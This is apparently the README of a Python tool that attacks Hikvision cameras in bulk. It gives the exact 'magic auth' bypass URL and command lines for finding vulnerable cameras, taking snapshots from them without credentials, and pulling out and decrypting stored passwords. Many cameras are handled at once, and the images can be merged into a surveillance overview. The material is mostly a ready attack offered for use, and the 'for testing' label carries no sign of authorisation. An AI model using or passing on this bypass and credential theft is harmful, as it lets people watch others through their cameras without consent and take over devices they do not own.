Hikvision Camera Lister & Snapshot Tool

Standalone tool to list Hikvision cameras from a file and take a snapshot from each using valid credentials (HTTP Basic or Digest auth) or the CVE auth bypass. Intended to run on another host for testing.

Features

• List cameras from a text file (one host or host:port per line).
• Check (CVE) – test each camera for the magic auth bypass CVE (no credentials); optional --save-snapshot for vulnerable devices.
• Credentials – extract user/password from each camera via CVE (magic auth + config decrypt). Requires OpenSSL.
• Auth check – verify that username/password are accepted by each camera (no snapshots saved).
• Snapshot all – fetches one image per camera (valid credentials, or --exploit to use CVE bypass with no credentials).
• Concurrent requests (configurable workers).
• Optional HTTP Digest auth; optional --merge to build one overview image. Dependencies: requests, Pillow (for --merge).

Requirements

• Python 3.8+
• requests

Installation

pip install -r requirements.txt

Camera list file

Create a text file with one camera per line. Comments with # are ignored.

# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080

Usage

List cameras

Print the cameras read from the file (no credentials needed).

python hikvision_snapshots.py cameras.txt list

Optional reachability check (HTTP GET to each host):

python hikvision_snapshots.py cameras.txt list -v

Check (CVE)

Test each camera for the Hikvision snapshot auth-bypass CVE. No credentials required.

python hikvision_snapshots.py cameras.txt check

Save snapshots for vulnerable cameras only:

python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots

Options: --timeout, --workers, -o (for --save-snapshot).

Credentials (extract)

Extract credentials from each camera via the CVE (magic auth to fetch user list and config file, then decrypt config). Requires OpenSSL on the host. No credentials needed to run.

python hikvision_snapshots.py cameras.txt credentials

Options: --timeout, --workers.

Auth check

Verify that your credentials work on each camera (uses the same snapshot endpoints; does not save images).

python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword

Options: --timeout, --workers, --digest (same as snapshot).

Snapshot all cameras

Take one snapshot per camera and save as JPEG. Use either valid credentials or --exploit (CVE auth bypass, no credentials).

# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword

# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit

• Snapshots are saved under snapshots/ by default (use -o to change).
• Filenames are derived from host or host_port (e.g. 192_168_1_100.jpg, nvr_local_8080.jpg).

Options:

With --merge, after saving each snapshot the tool builds a single grid image (overview.jpg) in the output directory with one cell per camera and a label. Requires Pillow (pip install Pillow).

Example with custom output and Digest auth:

python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20

Example with merged overview:

python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# or with exploit (no creds):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out

Endpoints

Authenticated snapshot (with credentials): the script tries in order – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.

CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (magic auth bypass, no credentials).

Running on another host

1. Copy hikvision_snapshots.py, requirements.txt, and your camera list file to the host.
2. Install: pip install -r requirements.txt
3. Run list to verify the file; use check for CVE, auth-check for credentials, or snapshot (with -u/-p or --exploit).

Ensure the host has network access to all camera IPs and ports.